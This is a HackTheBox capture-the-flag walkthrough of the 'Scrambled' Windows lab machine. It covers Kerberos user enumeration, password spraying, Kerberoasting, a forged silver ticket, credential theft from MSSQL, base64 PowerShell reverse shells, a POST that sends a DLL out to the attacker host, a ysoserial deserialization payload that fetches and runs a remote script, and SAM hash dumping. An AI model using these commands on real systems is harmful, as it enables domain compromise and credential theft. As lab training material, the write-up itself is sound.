Walk-through of Scrambled from HackTheBox
Scrambled is a medium level machine by VbScrub on HackTheBox. It’s A Windows box that focuses on using different Impacket scripts to progress.
Machine Information
We start with website recon which leads us to brute forcing Kerberos to find valid user accounts. With credentials we gain access to SMB shares, and retrieve the hash of a service principal for a SQL account. Cracking that lets us dump another accounts credentials from SQL, and we gain our first shell on the box. We migrate to another user and grab a DLL that reveals how the Sales Order App works. From there we use a deserialization exploit to get a shell as NT System.
Details | |
---|---|
Hosting Site | HackTheBox |
Link To Machine | HTB - Medium - Scrambled |
Machine Release Date | 11th June 2022 |
Date I Completed It | July 2022 |
Distribution Used | Kali 2022.1 – Release Info |
Initial Recon
As always let’s start with Nmap:
┌──(root㉿kali)-[~/htb/scrambled]
└─# ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.168 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
┌──(root㉿kali)-[~/htb/scrambled]
└─# nmap -p$ports -sC -sV -oA scrambled 10.10.11.168
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-08 17:17 BST
Nmap scan report for 10.10.11.168
Host is up (0.028s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-07-08 16:17:27Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
4411/tcp open found?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
| SCRAMBLECORP_ORDERS_V1.0.3;
| FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions:
| SCRAMBLECORP_ORDERS_V1.0.3;
|_ ERROR_UNKNOWN_COMMAND;
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49700/tcp open msrpc Microsoft Windows RPC
49704/tcp open msrpc Microsoft Windows RPC
51550/tcp open msrpc Microsoft Windows RPC
It’s a Windows box so a lot of open ports. One that stands out is 4411 with some sort of custom application running on it:
┌──(root㉿kali)-[~/htb/scrambled]
└─# nc -v scrm.local 4411
scrm.local [10.10.11.168] 4411 (?) open
SCRAMBLECORP_ORDERS_V1.0.3;
help
ERROR_UNKNOWN_COMMAND;
LOGON
ERROR_INVALID_CREDENTIALS;
Website Review
For now we don’t know what to do here so let’s look at the website on port 80:
There’s not a lot of content on the site, this is an interesting message on the IT Services page:
Suggests we have a Windows box with no NTLM so we’ll be looking at Kerberos instead.
There’s a link to a page for contacting IT support:
This shows us that us a potential username of ksimpson.
There’s a link to a page where you can report a problem with the sales app:
It tells us to enable debug logging which uses port 4411:
We now have a clue as to what port 4411 is for. Also there’s a link to a page to request a password reset:
Another clue that a password reset will mean the password is the same as your username.
Kerbrute
We can use Kerbrute to do a Kerberos brute force attack, which we covered in the TryHackMe room Attacktive a while ago.
Let’s get the latest version of Kerbrute:
┌──(root㉿kali)-[~/htb/scrambled]
└─# wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
--2022-07-08 17:51:19-- https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
<SNIP>
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.111.133|:443 connected.
HTTP request sent, awaiting response... 200 OK
Length: 8286607 (7.9M) [application/octet-stream]
Saving to: ‘kerbrute_linux_amd64’
kerbrute_linux_amd64 100%[=============================>] 7.90M 5.58MB/s in 1.4s
2022-07-08 17:51:21 (5.58 MB/s) - ‘kerbrute_linux_amd64’ saved [8286607/8286607]
┌──(root㉿kali)-[~/htb/scrambled]
└─# chmod +x kerbrute_linux_amd64
We also need a list of usernames to try, this is a good repo with lots of options:
┌──(root㉿kali)-[~/htb/scrambled]
└─# git clone https://github.com/attackdebris/kerberos_enum_userlists.git
Cloning into 'kerberos_enum_userlists'...
remote: Enumerating objects: 57, done.
remote: Total 57 (delta 0), reused 0 (delta 0), pack-reused 57
Receiving objects: 100% (57/57), 266.28 KiB | 1.55 MiB/s, done.
Resolving deltas: 100% (37/37), done.
There’s lots of good guides out there on Windows user enumeration, this from HackTricks shows us Kerbrute among others. Also this is a really good article with lots of examples.
First we need to add the DC to our hosts file:
┌──(root㉿kali)-[~/htb/scrambled]
└─# echo "10.10.11.168 scrm.local dc1.scrm.local" >> /etc/hosts
User Enumeration
Now let’s do it:
┌──(root㉿kali)-[~/htb/scrambled]
└─# ./kerbrute_linux_amd64 userenum -d scrm.local --dc scrm.local kerberos_enum_userlists/A-ZSurnames.txt -t 100 -o kerb-user.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 07/08/22 - Ronnie Flathers @ropnop
2022/07/08 17:47:26 > Using KDC(s):
2022/07/08 17:47:26 > scrm.local:88
2022/07/08 17:47:26 > [+] VALID USERNAME: ASMITH@scrm.local
2022/07/08 17:47:27 > [+] VALID USERNAME: JHALL@scrm.local
2022/07/08 17:47:27 > [+] VALID USERNAME: KSIMPSON@scrm.local
2022/07/08 17:47:27 > [+] VALID USERNAME: KHICKS@scrm.local
2022/07/08 17:47:29 > [+] VALID USERNAME: SJENKINS@scrm.local
2022/07/08 17:47:34 > Done! Tested 13000 usernames (5 valid) in 7.847 seconds
We’ve got a few hits. Let’s make a useable list:
┌──(root㉿kali)-[~/htb/scrambled]
└─# cat kerb-user.txt | tail -n +3 | cut -d ' ' -f 8 | head -n -1 > users.txt
┌──(root㉿kali)-[~/htb/scrambled]
└─# cat users.txt
ASMITH@scrm.local
JHALL@scrm.local
KSIMPSON@scrm.local
KHICKS@scrm.local
SJENKINS@scrm.local
Password Spray
Now we can use a password spray against them, knowing that the password is the same as the username I get this when I try ksimpson:
┌──(root㉿kali)-[~/htb/scrambled]
└─# ./kerbrute_linux_amd64 passwordspray -d scrm.local --dc scrm.local user.txt ksimpson
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 07/08/22 - Ronnie Flathers @ropnop
2022/07/08 17:53:11 > Using KDC(s):
2022/07/08 17:53:11 > scrm.local:88
2022/07/08 17:53:11 > [+] VALID LOGIN: KSIMPSON@scrm.local:ksimpson
2022/07/08 17:53:11 > Done! Tested 1 logins (1 successes) in 0.116 seconds
Get Ticket Granting Ticket
With a valid username and password we can request a ticket:
┌──(root㉿kali)-[~/htb/scrambled]
└─# impacket-getTGT scrm.local/ksimpson:ksimpson
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Saving ticket in ksimpson.ccache
┌──(root㉿kali)-[~/htb/scrambled]
└─# export KRB5CCNAME=ksimpson.ccache
SMB Enumeration
We can use this to look for file shares on SMB:
┌──(root㉿kali)-[~/htb/scrambled]
└─# impacket-smbclient -k -no-pass scrm.local/ksimpson@dc1.scrm.local
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
# shares
ADMIN$
C$
HR
IPC$
IT
NETLOGON
Public
Sales
SYSVOL
# use Public
# ls
drw-rw-rw- 0 Thu Nov 4 22:23:19 2021 .
drw-rw-rw- 0 Thu Nov 4 22:23:19 2021 ..
-rw-rw-rw- 630106 Fri Nov 5 17:45:07 2021 Network Security Changes.pdf
# get Network Security Changes.pdf
# exit
Above we found a number of file shares but only the Public one was accessible. Let’s look at the file we grabbed:
Get User SPN
A few more clues. The key one here is that only administrators have access to SQL. Let’s get the service principal names (SPNs):
┌──(root㉿kali)-[~/htb/scrambled]
└─# impacket-GetUserSPNs scrm.local/ksimpson -request -k -no-pass
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[-] exceptions must derive from BaseException
This had me stuck for a while, but some searching found this issue raised by the box author! He kindly gives us a workaround. So grab the GetUserSPNs.py file from the Impacket repo:
┌──(root㉿kali)-[~/htb/scrambled]
└─# wget https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/GetUserSPNs.py
--2022-07-08 18:18:54-- https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/GetUserSPNs.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133,
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 24390 (24K) [text/plain]
Saving to: ‘GetUserSPNs.py’
GetUserSPNs.py 100%[===================================>] 23.82K --.-KB/s in 0.008s
2022-07-08 18:18:54 (2.96 MB/s) - ‘GetUserSPNs.py’ saved [24390/24390]
Edit the line as described:
def run(self):
if self.__usersFile:
self.request_users_file_TGSs()
return
if self.__doKerberos:
target = self.__kdcHost
#target = self.getMachineName() <-- old line 260 code that we're no longer running
else:
if self.__kdcHost is not None and self.__targetDomain == self.__domain:
target = self.__kdcHost
else:
target = self.__targetDomain
Now run that version of the script:
┌──(root㉿kali)-[~/htb/scrambled]
└─# python3 GetUserSPNs.py -dc-ip dc1.scrm.local scrm.local/ksimpson -request -k -no-pass
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------------- ------ -------- -------------------------- -------------------------- ----------
MSSQLSvc/dc1.scrm.local:1433 sqlsvc 2021-11-03 16:32:02.351452 2022-07-10 20:11:44.221570
MSSQLSvc/dc1.scrm.local sqlsvc 2021-11-03 16:32:02.351452 2022-07-10 20:11:44.221570
[-] type object 'CCache' has no attribute 'parseFile'
This error took more searching, eventually finding this issue which tells us the version of Impacket that is installed on Kali is out of date. So we need to update that first:
┌──(root㉿kali)-[~/htb/scrambled/impacket]
└─# python3 -m pip install .
Processing /root/htb/scrambled/impacket
Preparing metadata (setup.py) ... done
Requirement already satisfied: chardet in /usr/lib/python3/dist-packages (from impacket==0.10.1.dev1+20220708.213759.8b1a99f7) (4.0.0)
Collecting dsinternals
Downloading dsinternals-1.2.4.tar.gz (174 kB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 174.2/174.2 kB 1.9 MB/s eta 0:00:00
Preparing metadata (setup.py) ... done
<SNIP>
Successfully built impacket dsinternals
Installing collected packages: dsinternals, impacket
Attempting uninstall: impacket
Found existing installation: impacket 0.9.24
Uninstalling impacket-0.9.24:
Successfully uninstalled impacket-0.9.24
Finally we can run again to get our hash:
┌──(root㉿kali)-[~/htb/scrambled]
└─# python3 GetUserSPNs.py -dc-ip dc1.scrm.local scrm.local/ksimpson -request -k -no-pass
Impacket v0.10.1.dev1+20220708.213759.8b1a99f7 - Copyright 2022 SecureAuth Corporation
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------------- ------ -------- -------------------------- -------------------------- ----------
MSSQLSvc/dc1.scrm.local:1433 sqlsvc 2021-11-03 16:32:02.351452 2022-07-10 20:11:44.221570
MSSQLSvc/dc1.scrm.local sqlsvc 2021-11-03 16:32:02.351452 2022-07-10 20:11:44.221570
$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*$bb8f4319a7e559125e94d7518b9a1eb6$b917eb19722e7da2837ef7f1ab984f
05700ee81bd1e6855e2fdf62539f49f26aa1544496a3967c95304e65974cebd8170e1cf5ab15acd7a5dbb18f956286240ab0c0e8674b30e30
<SNIP>
John The Ripper
Put that hash in a text file and use JohnTheRipper to crack it:
┌──(root㉿kali)-[~/htb/scrambled]
└─# john sqlsvc.hash -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Pegasus60 (?)
1g 0:00:00:45 DONE (2022-07-10 21:35) 0.02175g/s 233401p/s 233401c/s 233401C/s Penrose..Pearce
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Secrets Dump
Now we have an account called sqlsvc with a password of Pegasus60. Next we need to get the SID of the administrator account, we can use secretsdump:
┌──(root㉿kali)-[~/htb/scrambled]
└─# impacket-secretsdump -k scrm.local/ksimpson@dc1.scrm.local -no-pass
Impacket v0.10.1.dev1+20220708.213759.8b1a99f7 - Copyright 2022 SecureAuth Corporation
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid.
[*] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter
[*] Cleaning up...
This didn’t work like normal, probably for a similar reason as the other script. A search for this issue which says to add debug:
┌──(root㉿kali)-[~/htb/scrambled]
└─# impacket-secretsdump -k scrm.local/ksimpson@dc1.scrm.local -no-pass -debug
Impacket v0.10.1.dev1+20220708.213759.8b1a99f7 - Copyright 2022 SecureAuth Corporation
[+] Impacket Library Installation Path: /usr/local/lib/python3.10/dist-packages/impacket
[+] Using Kerberos Cache: ksimpson.ccache
[+] SPN CIFS/DC1.SCRM.LOCAL@SCRM.LOCAL not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for KRBTGT/SCRM.LOCAL@SCRM.LOCAL
[+] Using TGT from cache
[+] Trying to connect to KDC at SCRM.LOCAL
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[+] Session resume file will be sessionresume_jLiLWMcH
[+] Trying to connect to KDC at SCRM.LOCAL
[+] Calling DRSCrackNames for S-1-5-21-2743207045-1827831105-2542523200-500
[+] Calling DRSGetNCChanges for {edaf791f-e75b-4711-8232-3cd66840032a}
<SNIP>
impacket.dcerpc.v5.drsuapi.DCERPCSessionError: DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid.
[-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid.
[*] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter
[*] Cleaning up...
We see the SID of S-1-5-21-2743207045-1827831105-2542523200-500 has been retrieved even though there is still the error. It ends in 500 so we know this is the administrator SID.
SQL Admin Hash
Next we need an NTLM hash of the sqlsrv account password we found earlier:
┌──(root㉿kali)-[~/htb/scrambled]
└─# iconv -f ASCII -t UTF-16LE <(printf "Pegasus60") | openssl dgst -md4
(stdin)= b999a16500b87d17ec7f2e2a68778f05
Silver Ticket
We have enough information to create a silver ticket. This is a good article that explains what silver and golden tickets are if you’re interested in learning more.
Let’s use Impacket’s ticketer:
┌──(root㉿kali)-[~/htb/scrambled]
└─# impacket-ticketer -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local -spn MSSQLSvc/dc1.scrm.local -user-id 500 Administrator
Impacket v0.10.1.dev1+20220708.213759.8b1a99f7 - Copyright 2022 SecureAuth Corporation
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for scrm.local/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
┌──(root㉿kali)-[~/htb/scrambled]
└─# export KRB5CCNAME=Administrator.ccache
MS SQL Client
Here we’ve created a silver ticket which we can use to impersonate the administrator account. Now we can use the Impacket MSSQLClient script to connect to MSSQL using our Kerberos ticket:
┌──(root㉿kali)-[~/htb/scrambled]
└─# mssqlclient.py dc1.scrm.local -k
Impacket v0.10.1.dev1+20220708.213759.8b1a99f7 - Copyright 2022 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC1): Line 1: Changed database context to 'master'.
[*] INFO(DC1): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL>
Let’s look through the databases and tables for loot:
SQL> SELECT name, database_id, create_date from SYS.DATABASES
name database_id create_date
---------------- ----------- -----------
master 1 2003-04-08 09:13:36
tempdb 2 2022-07-11 00:03:29
model 3 2003-04-08 09:13:36
msdb 4 2019-09-24 14:21:42
ScrambleHR 5 2021-11-03 17:46:55
SQL> select table_name from ScrambleHR.INFORMATION_SCHEMA.TABLES
table_name
----------
Employees
UserImport
Timesheets
SQL> select ldapuser,ldappwd from userimport
ldapuser ldappwd
--------------- ---------------------
MiscSvc ScrambledEggs9900
We have another account and password.
XP CMD Shell
Next we can test if xp_cmdshell is enabled:
SQL> xp_cmdshell net user
User accounts for \\DC1
------------------------------------------------------------
administrator asmith backupsvc
ehooker Guest jhall
khicks krbtgt ksimpson
miscsvc rsmith sdonington
sjenkins sqlsvc tstar
PowerShell Reverse Shell
Of course we knew it would be! Time for a reverse shell, I used this script to generate a base64 encoded one to avoid any problems:
┌──(root㉿kali)-[~/htb/scrambled]
└─# wget https://gist.githubusercontent.com/tothi/ab288fb523a4b32b51a53e542d40fe58/raw/40ade3fb5e3665b82310c08d36597123c2e75ab4/mkpsrevshell.py
--2022-07-11 22:01:39-- https://gist.githubusercontent.com/tothi/ab288fb523a4b32b51a53e542d40fe58/raw/40ade3fb5e3665b82310c08d36597123c2e75ab4/mkpsrevshell.py
Resolving gist.githubusercontent.com (gist.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.110.133, ...
Connecting to gist.githubusercontent.com (gist.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1107 (1.1K) [text/plain]
Saving to: ‘mkpsrevshell.py’
mkpsrevshell.py 100%[============================================>] 1.08K --.-KB/s in 0s
2022-07-11 22:01:40 (129 MB/s) - ‘mkpsrevshell.py’ saved [1107/1107]
┌──(root㉿kali)-[~/htb/scrambled]
└─# python3 mkpsrevshell.py 10.10.14.198 1337
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8<SNIP>
Start netcat listening then switch to the mssql session and paste this in with xp_cmdshell:
SQL> xp_cmdshell powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHM<SNIP>
Shell As SQLSVC
Switch back to Kali to see we’re connected:
┌──(root㉿kali)-[~/htb/scrambled]
└─# nc -nlvp 1337
listening on [any] 1337 ...
connect to [10.10.14.198] from (UNKNOWN) [10.10.11.168] 56490
whoami
scrm\sqlsvc
PS C:\Windows\system32>
We are only a low level service account, but we have credentials for another user from the MSSQL database. Let’s start another shell and switch to that user.
First start another netcat listening in a different terminal:
┌──(root㉿kali)-[~/htb/scrambled]
└─# nc -nlvp 1338
listening on [any] 1338 ...
Use the Python sctipt to create another base64 Powershell reverse shell, this time I’ve used port 1338 instead of 1337 which is still in use:
──(root㉿kali)-[~/htb/scrambled]
└─# python3 ps_revshell.py 10.10.14.198 1338
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGU<SNIP>
Shell As MiscSvc
Switch to our current shell on the box and create a PS object with the new users credentials:
PS C:\Windows\system32> $MiscSvcPassword = ConvertTo-SecureString 'ScrambledEggs9900' -AsPlainText -Force
PS C:\Windows\system32> $Cred = New-Object System.Management.Automation.PSCredential('Scrm\MiscSvc', $MiscSvcPassword)
PS C:\Windows\system32> Invoke-Command -Computer dc1 -ScriptBlock { powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE<SNIP>EMAbABvAHMAZQAoACkA } -Credential $Cred
Now switch to our other netcat listening on port 1338 to see we’re connected as the miscsvc user:
┌──(root㉿kali)-[~/htb/scrambled]
└─# nc -nlvp 1338
listening on [any] 1338 ...
connect to [10.10.14.198] from (UNKNOWN) [10.10.11.168] 56480
whoami
scrm\miscsvc
PS C:\Users\miscsvc\Documents>
User Flag
Let’s get the user flag before we move on:
PS C:\Users\miscsvc\Documents> type ../desktop/user.txt
2be5fe50f02a0b315c9673e304702ff4
After a bit of looking around I found this:
PS C:\> dir "Shares\IT\Apps\Sales Order Client"
Directory: C:\Shares\IT\Apps\Sales Order Client
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 05/11/2021 20:52 86528 ScrambleClient.exe
-a---- 05/11/2021 20:52 19456 ScrambleLib.dll
Right back at the start we found the Sales order app was running on port 4411. Here we have found the executable and dll used on the server side. Let’s exfiltrate and have a look back on Kali. I used this method using PowerShell.
Data Exfiltration
Start netcat listenting and redirect the recieved data to a file:
┌──(root㉿kali)-[~/htb/scrambled]
└─# nc -l -p 80 > ScrambleLib.b64
On the box send the DLL file over to Kali:
Invoke-WebRequest -uri http://10.10.14.198/exfil.data -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\shares\it\apps\sales order client\ScrambleLib.dll")))
Switch back to Kali, ctrl-c the netcat listener then decode the file from base64:
┌──(root㉿kali)-[~/htb/scrambled]
└─# tail -1 ScrambleLib.b64 | base64 -d > ScrambleLib.dll
┌──(root㉿kali)-[~/htb/scrambled]
└─# file ScrambleLib.dll
ScrambleLib.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
We can use strings to look at the readable contents of the file:
┌──(root㉿kali)-[~/htb/scrambled]
└─# strings -el -n8 ScrambleLib.dll
Even filtering for 8 characters or longer the output is quite long. These bits are interesting:
LIST_ORDERS
UPLOAD_ORDER
Getting orders from server
Splitting and parsing sales orders
sales orders in server response
Deserializing single sales order from base64:
Deserialization successful
Finished deserializing all sales orders
Uploading new order with reference
Order serialized to base64:
Upload successful
We see what looks like two commands LIST_ORDERS and UPLOAD_ORDER and then there’s lots of messages about serializing and deserializing orders.
YSoSerial
I did a HackTheBox machine a while back called LogForge that focused on Log4J attacks. In that we covered object serialization using YSoSerial. HackTricks has some good info here for the deserialization attack we want to perform. Also this is a presentation by the creator of this Windows version which is an interesting read. Finally this was what gave me the idea on what parameters we need to use for Windows.
Grab the Windows version of YSoSerial from here. Unzip and then let’s test a payload by doing a simple ping just like we did on LogForge:
PS C:\Users\Downloads\ysoserial-1.34\Release> ./ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "ping -n 2 10.10.14.198"
AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2Vj <SNIP> 05MmFXUmxjajRMCw==
Take the long serialized object that’s been base64 encoded and switch to Kali where we can connect to port 4411 again and upload it:
┌──(root㉿kali)-[~/htb/scrambled]
└─# nc -v scrm.local 4411
scrm.local [10.10.11.168] 4411 (?) open
SCRAMBLECORP_ORDERS_V1.0.3;
UPLOAD_ORDER;AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2Vj <SNIP> 05MmFXUmxjajRMCw==
ERROR_GENERAL;Error deserializing sales order: Exception has been thrown by the target of an invocation.
I’ve used the UPLOAD_ORDER command we saw when looking with Strings, then semicolon, then pasted my YoSoSerial payload. Switch to a waiting tcpdump to see our ping:
┌──(root㉿kali)-[~/htb/scrambled]
└─# tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
22:32:01.688887 IP 10.10.11.168 > 10.10.14.198: ICMP echo request, id 1, seq 1, length 40
22:32:01.688905 IP 10.10.14.198 > 10.10.11.168: ICMP echo reply, id 1, seq 1, length 40
22:32:02.697397 IP 10.10.11.168 > 10.10.14.198: ICMP echo request, id 1, seq 2, length 40
22:32:02.697411 IP 10.10.14.198 > 10.10.11.168: ICMP echo reply, id 1, seq 2, length 40
That worked as expected, so now we can do a reverse shell. I tried using the same base64 encoded PowerShell one we used earlier:
PS C:\Users\Downloads\ysoserial-1.34\Release> ./ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "powershell -e JABjAGwAaQBlA <SNIP> AZQAoACkA"
I couldn’t get it working so back to HackTricks and I used the first one here. Which is put our base64 encoded reverse shell from earlier in to a file and then pull that over to the box.
On Kali:
┌──(root㉿kali)-[~/htb/scrambled]
└─# cat pencer_shell.ps1
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8 <SNIP> AAsACAAJABiAHkAdA
Back on Windows:
PS C:\Users\Downloads\ysoserial-1.34\Release> ./ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "powershell.exe Invoke-Command -ScriptBlock {Invoke-Expression(New-Object Net.WebClient).downloadString('http://10.10.14.198/pencer_shell.ps1')}"
AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJ<SNIP> SaFVISnZkbWxrWlhJK0N3PT0L
Now back to Kali and start a web server so we can pull the pencer_shell.ps1 file across to the box:
┌──(root㉿kali)-[~/htb/scrambled]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
In another terminal start netcat listening:
┌──(root㉿kali)-[~/htb/scrambled]
└─# nc -nlvp 1337
listening on [any] 1337 ...
In another terminal connect to the sales app and send our payload:
┌──(root㉿kali)-[~/htb/scrambled]
└─# nc -v scrm.local 4411
scrm.local [10.10.11.168] 4411 (?) open
SCRAMBLECORP_ORDERS_V1.0.3;
UPLOAD_ORDER;AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2Vj <SNIP> VhSaFVISnZkbWxrWlhJK0N3PT0L
ERROR_GENERAL;Error deserializing sales order: Exception has been thrown by the target of an invocation.
Shell As Administrator
Switch back to our netcat to see we’re connected as NT SYSTEM:
┌──(root㉿kali)-[~/htb/scrambled]
└─# nc -nlvp 1337
listening on [any] 1337 ...
connect to [10.10.14.198] from (UNKNOWN) [10.10.11.168] 57419
whoami
nt authority\system
PS C:\Windows\system32>
Root Flag
Grab the root flag to finish the box:
PS C:\Windows\system32> type c:\users\administrator\desktop\root.txt
7968cb704022fe52d68181ce56e77ade
Grab the hashes for extra fun using SecretsDump:
┌──(root㉿kali)-[~/htb/scrambled]
└─# impacket-secretsdump -sam sam -system system LOCAL
Impacket v0.10.1.dev1+20220708.213759.8b1a99f7 - Copyright 2022 SecureAuth Corporation
[*] Target system bootKey: 0x33d8cbadba9e3f89bd60e5bfe64743e3
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ebb16eb3b0b1d0bea029cab7d18e534c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up...
I enjoyed this box. It gave plenty of opportunities to use our investigation skills. Playing with Impacket and Kerberos is always fun too.
Another box done. See you next time.
Comments